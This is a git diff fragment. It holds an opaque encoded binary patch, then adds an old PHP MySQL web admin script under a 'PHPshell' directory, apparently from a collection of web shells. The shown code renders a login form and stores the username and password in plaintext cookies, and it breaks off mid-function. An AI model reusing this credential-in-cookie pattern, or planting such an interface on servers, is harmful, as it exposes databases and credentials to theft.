z>||%{Y{3DMMIXn>73h*69LTnTNy330v!8n@><JV~)L*~B)pg=q`1x{?pRTYhO${?u zzk~zGM7p88zwa<@Y77Q#Mwu`S`MHa<pDw6lWH@t#CLf6X^O^oRPXFolw9ULHJZ6m2 zG55{N;@bX;ktxCZm9R_1Ryd%K1qZ%XSZz`sp%lY`A{RJta!)29K6{1!ty76zAVcAM z6nrJozbX&rnZSu?u@6Il11SX*_<sl^Ff>r8p!jXe8#urQ)6c#l<x&#2rb-QD0RF)R zDgLnY<~`U=kq_ucv??7ybtj<{_0TKyd>b-o7a`@<h5ju{o~aZZ2xsxTb?*enA+SZH zBlhbR5kqR=te7~yBEnx3RNg?)7irbO0Wau=rKFF@s#ZB1cn=3QAd<gr(SY{Cf!Hl! z-@fP0_)*ic`0AY6Qa#W5aFx3}MPI9nC|X!ZTxV@+^)4Am#(9t(hL$W_3Ym<w5ha_C z=CgXut#y13@k2rfwh9Is3@$7?wax=zJQndJ+nlYb(_EPh4}I^~^&0CC8nIM_+I!y> zyr&^dI7)NC8?tXbRbQv8{v!T(ogY;rZh+F8m*NBt_-aWHePh$q?(S==MXyP$>6Lz{ zZeZX4&dPpM{cPl@YCs<*e!C=uAGv>F4l}#L2|Nm#EUf1^%#+eiR9B07Hn!qe>8mT_ z6i6B_fUDt)R+_{)$48K|SVuG_Xu7PceyyMuC0q85Fox&ILj4YI1iouQc?~u%8DNKs zgO(avc?rX5I=K<S8;ytMEi3rP!ia~9W@Jl-sioPh4FV`!(`}<)91}#Vn9@em(;yM| zNz+^mJU{e}GO?b~8e}uJ<!*}!WM#3XM3`pJDK74Ud_5A|eR(L^dOcHMr*PjzK`Tmp zVxEmv%@|M24rszjCv&<iwhgOGvPg<JysI%%F9%slCfhhPKcBEt?uQKpY0Z&^1N|~l zoyzi3T{?jeha7J}3#z9ZJGlvZ$9L$IWx0HZzJ-E}<55|zanhE`Jj+Ak?+I=kOa5qK zu_=9Ohk8ZJcm3XKZbxm6Y`gKshg;yziD63P8op<S;L*S1sdPJCr=b9hZnO4Yeh^lR z#CF|nIk}lRE{t8llcaA6agY*4<a+Jd78Ev~7C)#AtE%|69Qh-eEo-^zi7=~6kj9_~ zrR6du&bHl*O$--$aVxDIjkmMMhP;~tU#G>%9mdBgBP_$qNABHDd*<sZI8*E4fq5Oa zP2@~%9`3Y}uzm_sS7}!9OzG|OJMI}-H?CrEKxg7ot+I-92M)Xt-%GttwO~k1H@$bL ztu%h3fTX)EK$ymoI2I@I&>&PiLY6VHd8`&GiDO^qbiScT>tef^$9&ncbJ(%YhDY)2 zY$k3D>GeI_CIfYmSHZTS>m6rEuMSx2OgoHAKCwdU@guI@>+?u2KkfBBkpEUvb!Ow2 zR#91#%s&Y;G=lWIzSu&u$zb5hC~`dKnz;1nWb>0B0Ik&96Kye$TRSh&!t(YVL}niA z62h`#mZBK=c`ev1z0yudD6goHt;tS%vk@m&m6Iz%?kq$?8gsGO*|c9cy7NN4tyVIq zeDidGz-7!~J1Enkas+Z(RD#9#0XIEYAjZCX_Oh$<LDt%o<*i%LKpm_RX_7u9!&_?D z)F)9Uzz`_K69{Pv4tpzE;X2V0VyHS+B&b!JnPKZO9-pV(c8trDikOD^m0>f=i_<mJ z<MAP6yvVii!fpSRu7>%2l#0>ksJys%&tl%RQpWB(54@}Re#1U!U6Fj>rTfQN5#*%W zF;2R?Eb*&(#_S3k^_vzi$({#@ZYQhSS4Cq;GefZ8b4I4`9^APW0(aZ{6q;iNLgrv` zLPazAA+wp9uLX^HOPJM*lx^Q{NuO*9JR;Y^Y&z5-+D_NgpWJqycAuW^rV2%0G;&g< zwLYdXoGBq_)YPK~owR}mXxhY$CrC<4(|1xAi)iDzJQy1$JY<*TMA`%z{fn&WqSx+P zP*q83pc+#;QQelc;&@gUy(kj603$EjWEnW{&gPb6Ea*^XL@{ca$a`tHLOX#ps5cJ7 zDIz0~NAxS7Pk>yrW-Y>(V{JJt3#P#yf%b0`Lhk~P!pOv27sZwe6lBLw12Q4<Pqi}| z8Y5lyl$!fj4J#DLAXvdCn_<t#Pe|{)o7lPXo1P}mFCZg|5-rSUe~v!ojP1m~zpYud zH(OW<oj5f}{wVm0D5!k9ZiDLHbCjL&>=y}b?{SbmybnI@6w%sX>iCB4;?{HB)Mv{) z9VwvSlk$3W@8Qck)t7jpSx4&)&Xjl_+VtKxM2@*L9g(^*8j#koPfsbbCb5%Sa`m?K z**cn{>@53WcM>54D--7=%)+?wTa*Dm6!6-KYl)Z&y(3==+c0bU9i81j^1&JzuiZzn zL|P_lofA<U6}&KsW#TWdj+~8^V3abOWJe?Ja38MRE-otDb8=Ak@!%VB^ptFav5hQ` zv09xlI69lJ`Z`^!_WJUL_0g6V0?bXm{2hDpLQh-15sh-OFkZE)9Fm`v#&VWP(th8h zWsu<Uo7X>_<(R>DXmqq~Ak|F_9=Lbmr&4|KA>)Eqx}F4@Y%x*goJtod`o0*Cy(ya> zjrPMtXtZH#(2BOg1B-F3*4w()W~9l5zSaEp;u_@=pOu)^><#`x&i&R(ro*$ACWTyA zmNYJ(&>TDC{vVt4arJj!+wSUBWNi+b$26K&xyQ=2m)SegwXVW}3YsT|GkmE6w71Zw z$W@jjM>W=gN3FDO)&)7TD{z3ww=Tv}`_5D8(L!poWs|395vUU;bS06bUi{1X9;_4l zHWiHoW@UPMb5rKA(r5f^W9=>J3H_bNfPJuSUGlL1_9aX|G==4^Y-;_tkyoQ0?uSg8 z!xCwZhF{IFvkx`;2fH0Px-M6rJz!`(K;K|8Y;l7IIwTWsSH}AOu)*e;;<_x{M`;VZ zF@8?S30XauV`q2erzxmEg*CV#m)Gt%<EzKIRJC_I9^z4=4-`H6kRfKpT2u%dW?B8R zO5j6FYt=7C2d)fVKT0b^h$b)8J4x=lxVP)ikf`ObS2PrRzFcsnr(*X1zSDgkD)H9# z5=-0l!!S&;Oi3Icq0eOnCJM$_6D?qjz@jZ6dGp>%WP4uZ7FmrqRAd$F?yUzK%zLaX z9SlxdVGZDL4T`^^T#+60#QOB_2$GOU+o4A+x^SRL<b*q|CHaU&3)%!mb3AFksm~W# zg9E*%l+R64>Z)aB`3q?^HEERF-vp%FpQs{7?V!ksTaAr<^tfFX!I*cc6FtywPTR6o zu<;m=Et%C6gy73xSFszfiNaVV`L=b*OZ$j+5gujNs^!*dj<g5rzyT9^nqvf|;GHHt z;q$pp{&u%h{Huk&#s=-1=IvY8*`;sHW<_}}B<=}nkFz%;SxytOdogfN$n2!LkR}Kk zmdF|9NLy+>Kdo{P`U~}<AUPBq^RJ8r<eD}IUfo=MNuruC4m3ylmdMi6P(<c~t{6>B z?q8VXztI3K+8(4R8o7csC<q0q9Mb#UK#LOk*i=V7xcR-M=)H(T%A!?Ym#o`AvXc_E z4PJ>-xlx5UA7Zr$Q<jdD&s=-*zHE@aZg_S!Ec@nY{a!~YiU~Mru(6A{H%ArAtHOnB zez;1u?W1nnT?F>F&yz*&_XkpzZsAVxY5P@m)3zxbE=F{UI1{wF_?~Nw){A9dp!V-8 zLg=;FXT^AGM<nUKm>)}r38EQa-X#`s4z;t~*jm4lUJS!=sg>2_p5w5gm=Koc6oB+| z3M+H+k&z9{jPKsQtG!)mRIO>c(I5HVc;{r{t{KU@l<WudNa$tdk;X?#QpmMA`tnbb z+ze{L5R+UyYlDT(*KZl?dSe;!smf4cl)E8WnFK(QB_x0}T!+3Qm8P+x=<mgt8w{X{ zJ|3N~I(Ej}Tn$df>djSH^5lV7hRA3;MlQ)%P4953+gO=W`dBK7^X%=>=KIQ$^kKEF zFm9=Y8R`pd!U3ELS$%IkhEj;Y#+I@Lq7>B;>37F~Pl$QJUqV(53oSR?7_}A#ZuXSj zU7@WHw1fjoE(m*{C%&}cTCE6YLxDQs!-OnD4v?q)ytuLsG8;22<jB(_rOly+#w?>x z+P+Jn^{6pSv9uy|Zf~Bb^2~mzi;PZ9n`}QgOUtv!v3G@L!2#3hr(q>x4Ad*Vo%5ee zF{L*eM7IYN1TI{KQ<mf`+i5fg9sTo9?<l+OTBnx8yuGkPe@qgqD2AdDQqX^w?CKUj zCKRT2)7a&n1X)TXRUC)WZwd1?lvEd&XumPeYIX4CPe<~N2tP`DSWJrSjl(o-mKqv> zrq)uk@WA5jjG6k`qXotI<sZW;0T74FJp?)_pxmt4Rj8{lFfdLsPQ%v8S#V%+?R&hw zx5FHo(ny7+kQjwQw{4~lHK6<1<XHk5Mb=D#*da=mO@Q#7x(_eMtRW}e>Fza<^364= zG4I7am4~$yM6?DC@`086bgXR|MibD{BRCLjX%EdZW7jaRjb1IWP@ET-(dc8HjCGP` zOh@Xvlpd&X)4889mT%uds}k{?A%-W!OE|X)*V7+0BQ?6*%*Gwu0FGycUtoIbH_hXZ zaS?ln<my;*EXY9co=Tdr^7>59zopPB%3)?l*l%})-V>yAUr_*hGx8%IW!BM$A^U&N z8*|;U6TM+7OZCewJGwzlOuU8O4;-n7IMm|No%>ddPEaEfm1$!T(|&qwYznj&Cpi-$ zk=;6{j9Q=EB4RbT-9KwVOQcAIurx^sd4Dyba-e^(-)=ed+<Ej<e!eSj>(g$o0>gGR z#o^PuH#uAT+&NLwHPahyO94j*Y01kp<lEy9e3a$iqPh@gfUo3ko@vDF77KmHj0i4k zbRirt7SG_W(}5a-jxnFPlhmVOu9L6b?Ta&|^+^4-KIao=qt5k~q0*$82(LFMRI2fh zwddBbwxQc4E6La|VHhJ7p9LkCZVj(p_u@6J7e{{7@&=01SY_vDeL0XK7OrVa!i?1& z`S$1{Mmr2^>ur1f{Ig!#&5DNs$`Y(bx?KtkJih(flM_WlDoIsGRckQOGt0V~wX1i@ zo{MY&0&B;c6BF^M-+K9~OW*I2Oxsq6AAV)~5Oe886HQUQRo<tqJ|QSI+-z!VxO8n6 zxL;qzA?wP~IVXuQhVM*eO&^NlFsiIYTZc4OHG8apyK$A}3!`se3A!V^{%T~8MYuCt zd-~3CXV>&bqK*-(X!m0Lrh1$6bYYRDdFrOKrNslG-MutZ?ow*|qtq^f#BOq5V0%-S z8=r;X{dV?$?KLZqp`Z<4NgVh`7kfQE5D;J%IX!5+!cyx80Y)nAyI1F7a6pV8<S#H2 z4atk)6Ut|6_)6OTAbbG)Rp~g?zX?)@9^AdXV|I{r6Qq`WAaZ*r`(LfiyL$;ex|JN9 zN)2SP{S$^!(+}X*EEl<Bp;b;eG$#~YH~T>E6|SRLjqhT?hjKF8?xvM&U^KP3za&R; zS(i;ZR=ym=8FZ&3bSwAoODJg)c$CyzN3*vTO02y1!dd&fVbrOY!*YqAP>Adwm)d*N zSRE-D##Z}yNfo#<P#YlklV2nkCs4Simxlw%q|oa#23Yq<<9f#e>^2an5r6fkBvR_I ze|ZQZz>Nl8tV$|y;7>VhC-EuF0|E#3C%<BSQWg1AO#A7^h-?2D{X8a>8EJ`RhFn1h zI7Erea%)X*yshBCwl{Qxy5JX32#x!%Ok)1`rt}dS!X|dYsw7TO?H$PQ74a_$w$1P1 z@vz@Ffstk`2(pcO-ic>Ot-=LoGw?@I6A5Cr<`zNSjv=(Yj8)h2Y-7({<b5j9ETMoz z8(L8!4!pfeoE)zpw%KK=Xsak6Vq1z^Dvh6B74${)Mqtb_M-Mox;-fMpCT=Yr%HX*g zG1KBsC;6~(uBbgfX;x-dKvqa(V4!xpWTN;y*!7)0{W`(cCq=ZljoQ1uR(Ez%do}Av zrWcIIDmwkt(8(_SU$IL<NWU+7tN6VA;QG`Vd%bxnk^CEuj{G-@I*6?U%^QXUg)g(x z{GpsgmaOYo)SVT@s)!yLs`5g1fxz+QF2teF4rS0mcDZVrZsz+#Uw1=i{-gMNLd}Y5 z281?A67v}Wd@KW$Ih$%~<8Bp|$ypXv>{}#stI9LtORg-huk{Rgu9YC82OfQy5_X@j zn<BMm8NS}7tR18v4S9W`@H|<*zPc`4TMl9{ZrT+k4GF5x_0cb9ppzyw!qh-*cSyn< z;wpHm8ShDdZS=6p=(CPF$L0Z^rp%fe`pd9Z2;b|pcTW4Hbv+C~p*-a!#YyAU(HQh3 zbG){vQ;x@_0;QgCd{_ZDkvcldk(ysu*LSdbHP!8QULYQrOwHLJZCsxpfx!WA3f+^q zm4$ikitJxQ5AhM~0<#*G!RhC&a1C3y5hp!myF3Ts$HrYa(58se!<h8b$u>XVMU;pk z*Zt?Sm43btp!1*7X*#reK_=(t2SGW-L%$X(5;>V`ya)uGz<d!^g2>fk@)dfXD#{lY z8$%nUa4o(u4029XMz>#_?T>m}@MI0>_7e1jupp5JCR#~(x=#u7W+LqbL2f_THzLrN zTTBguTP_eD);k1uW7NfAhZ!5fK0QCrl>a?r{_YzgWV!K@5R5DqDX&O|mJ}`t3q%&7 zSENe+dbJuQ7^SUUg{72<<Et(InWD^fE6n+05hjVg?uv=&{-!RK^ek_7S5zKN*|w=$ z5D9!w`3<~nB=7RxjvsgyK5ikpH#a3`)&JE?CO}CRknvXMo2}`PaQqoK&vcX(AAcon z8m=c)r<3|Q*-|2(z~2KxOQ=(5$BPt90y<}cMC({ySz2G1QQI(s>We0XE^>7t6u@jq z1=eW~jtf)R^|A=;QCP_=xc!t_fn9(LU%=lS^e;7OJI*2}c-3&=8x0&-Hv7X(|5|fR zK5&a%D6;Pl2QK3OSQLJ#5dOKZKURkSI-Q44>v$=gMR!u}NP<&o5M`RN;bRz2GKATW z^^l39Q(3f6;}>s@WBGflD*3G`qQe0ay$>5Yzb@+kdY<JUm|rP`c0!L71ZCmC>%5{{ z{INk*_iZd8`F`1_*HWyzMjaQX!BQdK=sig|=x7IDao)K<y?wf?M?HQTbpKIu)-0`Z zb5>VGOGwGwssi`)OIHR_<$7zfNc7IiQ4iG&3tpaSpIJoylf1kcO>S-fgf5qtVjlaC z9*hy4Hwu#|)EyNgvCNAh^Hd&c&$N@Vzj#j*%8i-*^)-M7AapQMP@-I@P4zY}6_C&~ zbZIhEE31CW!y!sh79($__Ts;my|w6HKG3yri!NVzS(7w>7dIpPeH`YylWxl%YC?n$ zj(CW|oB7vslKLgsWtJ3FCC*Zlg&8(kHMl_uj`0pI1kuR0b=JqI>`Q*L+_Rb&mSQ8j zdj&h?ay-*m<x}=#JlR2<i@|(I*z9euuadQxZ@9m1o}H_mX+27SpiEoUgp#U=$Gw#x zL-2iI!0xF~0KBzxNo!N`tWq>DO1Vaj&bGkQnA4H~14ishZ-rQw+t~tApq0&P@qS5= zLkMafq)05463^ll-RY-uO7lo28y-|&DFCAq_wySj)Y*bTLmU1rWZZ(*S!ShxIRXmN zG<(KKmHVS!n*QWflv=%hE$>LH%4*8|TCY@`s<ht?VQNa?>1Hw2h_=2ydNS<Ae~Y-? zCc8MJfIqiozjZ8~>Y2T1JKagr%Mn7(L!i9mkDcz(RJO|KMHnI&b$D0WRq*+30qqst zT$3tpzHM5sWko7FuPfw3d7TKxc>r=!ncT3$9LZe4NrUik2ddpJc|H?fOcU`#QQ{^f z;g+<ZXG4qi+Fj*&5B6d-=`|zgkOF7{sil&{?*Q^C-w!V?#-s!|Kmq!`iME9+j@&g9 ztvQxbS+eliz2h|zmb&6*J4q@xMbtzvzLTN6TyqA~Xv0t+%4tP7Fu>G!gBo?i@VDUa z|CdIZ+m0($g<S^ddh`MeNg9S9lHH~f#<&gIi|{b?kPEnd0u$qbo;Hh|+*8Y~{E{DU zoGK7)?1O;(`a`*D{C~$K?jOg<;V=4a#<t`4X<nKebGN%GU=I7=-YFWo6v4#v8ZXdb zzU3~jz(a)#N|^8Hzgj!ychh+JE^WhV=r4nJrm)JYn#N%wCHGs^b(il+;uTGD>&ek# zE#7X};X>^yhVLq=?bn8w8n<gEmGs<GbidV|slPbX&8V0wnqI7_uJP~KJbG<R9$12d zj*Tj6^IYqE9Cx$Uv+s1iE>98yxi80bn-MyyC`*PA)g<)zi0y}d*yX)l<D0MpIPfGd zwPs+42TW=A7l27=$r}b(tIZYm*1`oov?WyhrWcHQsLo1Zk{8gpp&^~cp$B9khH5M0 z8*sqKY=a1I&TLTjNo*8rMwl`|PcRHnwk@r7X5=PyGB2t-u^LV-J*7IfAS`wrktB*{ z&M)DYYr{vPwGaDp!X1@8*KGW@vU0q(FwI5%yQRDA_#HB%aPr{DTrVjqM7v2VL<0Y) z=eeoXV`Hzc)xxmjovJV`vITRDYmM(o8Mu1n5cSU&67uxp2Oq{yU*n4$5ATCqAQLdm z*g!G}?EJOnR|#xy*9a+0F&a{^t(4ZHmrP7oqtLE8y#FDZoXO%Zxl#WOEv$N%@Jh;q z7c2ddNhl8!z6<sRJzz~`bPXDp6L<IXua;^`Snir!XFeE{#;gy5*S}y^Pqk<67z!J6 z(-x)euFW3j=^`lxHOKo#dT``OJ36LFnm(@o=4%EU!lf2r;3}wiF0()O%zwgSb-WLx z3P_~c<eQglM2MS1GiYWKN+X$hFXFT$FXMvSq$!L^1E$Uckc9ls^!*zfGT^|1GU&~x z-ciHOz+I>(=<n?QW}s*lu}31UH~p46!wbp>m5HW?X}wuftq#V?vffX1`zWSR2ZOax zFQ;f*$!sHz5mam(q+?|d+VD1b-6ALF6qvJ3s*Y*i4~srDtmU3|?!cD*e3qggCptF; zB7GM@*VFp9r}P&}x3SA?`{vN|(c~pbYMAi_i0HU$LTPS9zE>beOwV-M*kCI?$NLz{ zH(`<b-U}cD&@2*KLiJmn3T<P|F*<J@ECygbhj*PuICj8A39@m9_Hy`ZnF;pLhe!dV zNO=(f>mHtlcB02B$`;-9GreWT5c%g6Syrtu&mUmeyj*CvXF2y&KUux9I95?MPXm%f z>LecdgjA-v(WNItA-?GdoskdHR-}-tF*`e8!(H|1rNzc34M7(qi^}V*n9@wcD_Gws zbbWpT4j_WdXvnz9I(MPI#Xz<hUT2DqE-623>@CFPV`>!g5dJHg6ax}b`*LjeL(SM) z^3%@H1Qmz+@PusRs_KA(7`}(%qC>I9PYPwaWF(K+qmV=PByDdKvcYAxp$LY;3kOKk zu6dRI*h=c(VA{ZVMagJ1wwz!>m1B^TARqmT>Y60fswtK_iAAD_nE^ZU@SP=mDpj?~ z{E7N|S&|vz4o5Byn^k%qKltf5c&H*xBMia}E8CQ+7<dYorH~^n3w~8)=-0l#qDX(Q zx^m%LUIe#cIZSRPEDke6o;J+AHe`w=c6bsIpLZG27^^8cgsw1WehIw)9y0lF6^Q=> z$xi>(iBA6>K=iM`(%-fHKi%g~aA&wwT|bfY9oP}JiLF~dc3P)RN>C_p9#wmiK`-pm zGsi<>3bG<F)^DFfk3`^rq2vvH^64Fr*9r%2L!4BU|49bT{wHbnpXA~{N!WthI)}Vx zeUaL?QQb3Cp7SO<i}yl5jMx2y*fFl*Zw`MlTBCn!1$u$We~Xd%S8UDy=WVJPvMZ0- z2dqoZ?qYG=wBB7)Gy979P7h2~i|{00;4IweQv59Fq<THRbW6UunT9Stg&sP%{(0<Z zm$Rjnkr`!Ord#jz^kWEhz*?k4Gv5nQ%}@kd;4OZVS3Drtpa6RZ5jh}lyr}*8n5#i~ zM6+0XhCbq}sl)B6!hKXphNe8PCSPTC(M@#*#N^l<Fc9d=f+1Cb>>SBoBy}d?Uaitm zZqgZa5?e>(^6ydF(u7Eam_53pj*oa-S;acFfT-S4II#X>1P&m~z=5E&U&XxWFymz~ zn|^KXeSB}~MOh!$kf4%(g42}hEQ-rO%&I_SI`%p~g8i>o{U0}p&2fnmA7&+-Q5<7o z*&{~wM*HNNz$xaL=!DI|63n1R>y_?>^~-4fB4~KKSQji;SH<vujYjIEwIbG)>H-;Y zG+#zPAt?NH*NDcJeqI>7sZ5cEud5A2TMdzKvZ%;Hp9BYYi{jt>X3T5EfmcVTBA1sS z9^d5j$G+uPY1C1hoQ`E4_Ja?lz0Ik3Z=1GoMit+YHn|H?9(a_urT1`zE5XP6$d#Z6 zgDf3SsyKxfEjn5%fX^nbCoH<=QXXLb$vS?q6g?Z<&6umNBk4(E!lxl$#2yCnT0tZ~ zv9{UQyv=V)+<bq`D&_G!Q^&$jKGYTadYaoF+50iMeGQ&+9eKxiPaYnRuw>69P_niK zJw671g5d?G6WWJ<k;ZzwkB+dg)N5*@jHH9ZvGAmu6w#R5!T}&s3cxc@pD9ITV|xXL zlL-npXf`m`u%Cs5Op7zOHv5K@gmb)0&h)dRXB*e5#j2x}wLNamd82E@Vn^MY@BjLx z<Tt$Pn5P_KW8HNmov4Z*MydJCU7n6UHHL&pgv~1u7Av?uxMIRo{o{xyzjeUBCt=aC z<))rTbb5jPQX8#^j7%q6HCQEsFluV%U1LmYE%mQ&=ND;fO=a|yNtZ@0S+T)cR@-rb zDP8WN>Yh_JJyH(eqEQlx>4O^X2YHnoKhL?Jk0HKAra67KcS=5YL)I=^WL;?{b&+y! zdW0eQ>7jWM;ZM}Q##vK^8sXrH<D|Y|Xu6lA>P2;pi=M?G!#b=6GGB?9e(Mzi!+-BF z0)YZNeGIX9cc-vwDNThR8gPISOhEiC1Ne9OjDL5Xx=6lX$stZcq2T>KQyX)8OZG~i z%n0lvEGAbAEKb<!hjKiu#~pLu8&L2;rcSJ!Cu^*|vrVB`sx<zO7iF>^ll$i=BQ+s# zz%BPxKOY|wBN^&68k?P?QGIpbo~Ld7%X!Mu_<1JHLK5Ur^hAx?Hjj_Whn<Ow5^ojc zIvNaeI@33cx1uZ}%+CU{UnbDiX{g9-cVb_3Q!*YXyx9~b^Mv`?+O80DRXeiC?l^~0 zWV{{Pie;iJ&H7w`x9cGh$sv~)`fT>~2QqgDW^RVni;!G~iqUAg(#lHdWcfsDbLz;o zFRng_hB(z$OI6tSby1R{GB?kO)CsjbGs@3xzWtDTqhg*wyVgZ)7(-7#dNtMq9E)I0 zZ5`1K+|ZKvmQh{b^OSi2DWZD(mYDS1&b6(i>l1=S%7gn!f)$SvmiBk`y&-8c&H0&M zYu^OV%qcipFIZf&>wfrd{9QW~glclPJ5d`rYi<?VZ8z<=hPpE>@G|2}s>)=EqAFGl z-t8Ho(HQw5->vpkclxv`pI1(FTDA3P$IL9*7}oh=N8kEdq_1oj22DH<b#{dV_1j;p zcY|#M*KWj@AO<$1(-#R6K{B=BTH>Zcm6?0lG}86E-4&$gK9vx|7OQ@;;+bhN8d+pJ zK{l*fU$b<oQas_!X{oNwW}4a2=ma(5<P`Jd$s~#quH>iv*LTv@=B?-I&Zu-JyE|;Z z7){XU1O+uxP%|e{O%b$V()h5x@khaW=oq0ewHlOLD<#+($5YZ~=HA1A<X72H^`ZUS z!wQE(;^OLZc`dASG0uwSgl-S=WVYC<UMk8@kK~ysWo+=YT-;@OB0(now4dMJix4PT zNSR^?HLfonYu8(kK@3dVCT5-R&QUO1E0Q#CvqP?@e@Awi?|ZUwNP;r2GDPh0lh0{! zAFt~(t#)Xfa3!2Sgbbiax)X+Q&dtrucAok2>^nl3v1z7j5KJO|(7b~g@vkmgVI+A= z6H^dq7==IGHBqh(hS1v^eF*mA>+Z$jh@}0BW7Bc;xtz(M^4vao_bCyRC4_c|fYmUf zTSZwEGuVCyO&Ou}urS#*$3h@8E|dF2U90j_jGgou5-m<mvf2IHuF6>ZM~mOPdT2-w z_1=pEuCT1EdHsvjeT9+fD~4p%vQgHL<0uB<Ei99zvy`7YOX-wI!k+XI(@NH%#%0ax zx}*-V#9s+Ll^wHTqYd0^YT}h)#gAYz?Vmj+4C_Tu6Wpf@G#zAYxT1}B{BAdOTgem9 zs<ou>1)cvTKc@Z24=VfacHq^)S<PMl6Ddb27VBMQ$p~yB+mA6kl4g^f-fx{BuW;?U z?!J=zG_R#ICsxZoG~F>Q!?}f&t&qU*_EP^dq-zz^Pib`VV3x$;-lly5Q4A@!r5IkP zWy3H-vvQBqTGJ)cYow;-!YvX9k}p`;`*!{X^`w?LR91^&4Wy50lHxkow3IEL$ZNCC z1nk(AD&)+X+mgnPWe!g$&d_cnhtJDduHrpNmx+8#gv{0zD3eV~z}y~kHc+yeJiRa@ zG6mg)9&Vq7l|u_DjTcs7*SGRFd;1|Eiq7~WE`3w$%hf0FM@JaQc;@FO<6=A&_Q&J_ zRK_#>moi=Hrf5l`+~mFqnR?p-zA*<Ek>l>Pp>iXZ&L}1!)8guKvDj~4%C({h@fAsK zYdBi!y3y8hFL*j1X))dJ>3`C8#hRC&UgVjnH)|m>`BqC$Ky*e=31xIAR|R6Tkdf14 zWQvviIcHZs4bNq3*zA=KyUtXtJjM7y6RjbF-<t8HpG{mO&^%X%THd&HA0*7IYr=u% zv2~EGnFhNj^c42aG5LmE4|+H~oGBdgB8_S4QGR4)4olHmR_YENVW^FmWv|W7O!K2g z>h64<X_?rFS>9L+j~{*v+le(tcjKFiyOo#3l!jftKfR#Q31l#d*UUHZ<y#C$cXED~ zi<nKHLn)sHLc!E-&NnyPA{PSnaA2hz+CrZN9q2EE10V7RU{5th+Y}Sc#_EO^jOTAV zqGUSMLf=##%$-GhaK~1bMa$^YRkW!Sar6eL!U2cewPw4pu+N`NJgli}Zq*>_N(Ya; zV_MtH^IA<Ab*yBo$+}|X-`V@jdh9bHuiJJJU-~#T9t3PI93SU{`SYz~I1oAn2hfue z!KheZ0ESZ}a<OZUZ9;M1{=CS2r>Y`Zud42n)!Wwn?!otoyBU3V25azU^mMdyY9z4@ zH8oy1v-gIvnGQrHt$rErQyDqg;OZiIK(RKI;L6LZEI-vm=_X--M*bwMzhELxODR#3 zVW(Fc<WOk_{|;36kJK{_+-QGY*gA(%o0S*HEAUE&j`vHkjXzlXL~KX=BCkgBOQWal zN2ns{AQR(pD+T4Kb<)=L^AT2SqmIk0@{qY=c2248MT84=y}S2z813PJcGjHJ-plBr zfmw5+3AYtJ@`vMlmc7~up3fxwE23-t>u2nmgS=-Rkt%Xh@<#bu*<YFZm<&~L<n%3F zSe0+mK`T47<`A{&76>)pUdu3cTWA;sQ!kQ#CLg$Y_zoltrI<>9kturPMZCxo)<MxN zmH;md5C^l}6IM?ibl}8W_t8~}XMrzA`<y;X`%9QtKFWk&`Ai?1v@8RuxTU+F^vXy5 z*?SMv7m%JHX3(L0Mtk+Jseh4?^p2$XFn7x|-R`$!F15%9m71-HUG&1vd#O<rN)oy= zGb|*W^<KajNG)g~TGGEFbg;Prf<S&j8Vt7)69i7n(x8jT`Zsdg-*ajsV=5s}wadQU zEQD>4g?7?drcQ4qp_B!QS3pZcp2-GnyGs>7hh@>af;rrsRh`0sG8B!Lz4_0D6Rl31 z=CvpV>8Zw#>pv#Fa298l$(hXk0KBh|80#360zUtp*5jec8Jkxx@1Q0aLQJuE&O)aN zLS$cKFM*j(vTJo#HX@QiTe*Et^=;^&ZAhqP+nGJIMfK}ej2=-EY`H_twdnOVXXB?g zNg!k%$wZkXZsj?DIY6NB>fk0mEDZ0=21i;z+!jH$H-O5;n@SyzW_=g8wwk6_(GWy? zUGul+mGo@i=&748_9pb19Ca!V7Ve%j$oKphzg^++rR24HU~;Fr?@36Z$JBez{c1+* z*Fwr5@#)$ILx(jn&qAF9^;2y_dpe=4r9}$0OA1zmm&BUMod49A9<2|hX<x9@!T47g z(jkQpn-5#zxVg?Ihi-_V=a+_J#U(?>P@z&k5h}EEFR!*53Xu9`_l_=Eb(D*VpyFUY z{kUPbqAlFDvN=V=+A!Sr5hT4dWv0C9+jQsQSy1kF<>9QxMwQ9&&P#|<z;3*|_7}Xb zamiLxco;66J1QPMG`g?=aDkf|EMl!!aDONGgs$RrJj>J-r{H1L95M!ZbqwD2!*D#B zc%fX(#9OBl?iz!u*c<xkkngnwCu+Qe;aV9pz1FYT8(ImeWb`dDUQx1oKAQj;pI~s~ zRnG!V*?QzYSroIV<;olN{Vb1s^-|eb3DY(5sPK9JbFW(rXPUu({y%`f%z6DuM*7EP MYX8yq6oF6u55h2KD*ylh literal 0 HcmV?d00001 diff --git a/php/PHPshell/MySQL Web Interface Version 0.8/MySQL Web Interface Version 0.8.php b/php/PHPshell/MySQL Web Interface Version 0.8/MySQL Web Interface Version 0.8.php new file mode 100644 index 0000000..9f37027 --- /dev/null +++ b/php/PHPshell/MySQL Web Interface Version 0.8/MySQL Web Interface Version 0.8.php @@ -0,0 +1,1302 @@ +<? +/* +* MySQL Web Interface Version 0.8 +* ------------------------------- +* Developed By SooMin Kim (smkim@popeye.snu.ac.kr) +* License : GNU Public License (GPL) +* Homepage : http://popeye.snu.ac.kr/~smkim/mysql +*/ + +$HOSTNAME = "localhost"; + +function logon() { + global $PHP_SELF; + + setcookie( "mysql_web_admin_username" ); + setcookie( "mysql_web_admin_password" ); + echo "<html>\n"; + echo "<head>\n"; + echo "<title>MySQL Web Interface</title>\n"; + echo "</head>\n"; + echo "<body>\n"; + echo "<table width=100% height=100%><tr><td><center>\n"; + echo "<table cellpadding=2><tr><td bgcolor=#a4a260><center>\n"; + echo "<table cellpadding=20><tr><td bgcolor=#ffffff><center>\n"; + echo "<h1>MySQL Web Interface</h1>\n"; + echo "<form action='$PHP_SELF'>\n"; + echo "<input type=hidden name=action value=logon_submit>\n"; + echo "<table cellpadding=5 cellspacing=1>\n"; + echo "<tr><td>Username </td><td> <input type=text +name=username></td></tr>\n"; + echo "<tr><td>Password </td><td> <input type=password +name=password></td></tr>\n"; + echo "</table><p>\n"; + echo "<input type=submit value='Enter'>\n"; + echo "<input type=reset value='Clear'><br>\n"; + echo "</form>\n"; + echo "</center></td></tr></table>\n"; + echo "</center></td></tr></table>\n"; + echo "<p><hr width=300>\n"; + echo "<font size=2>\n"; + echo "Copyleft &copy; since 1999,\n"; + echo "<a href='mailto:smkim76@icqmail.com'>SooMin Kim</a><br>\n"; + echo "<a href='http://popeye.snu.ac.kr/~smkim/mysql'>Hompage<a> is +available<br>"; + echo "</font>\n"; + echo "</center></td></tr></table>\n"; + echo "</body>\n"; + echo "</html>\n"; +} + +function logon_submit() { + global $username, $password, $PHP_SELF; + + setcookie( "mysql_web_admin_username", $username ); + setcookie( "mysql_web_admin_password", $password ); + echo 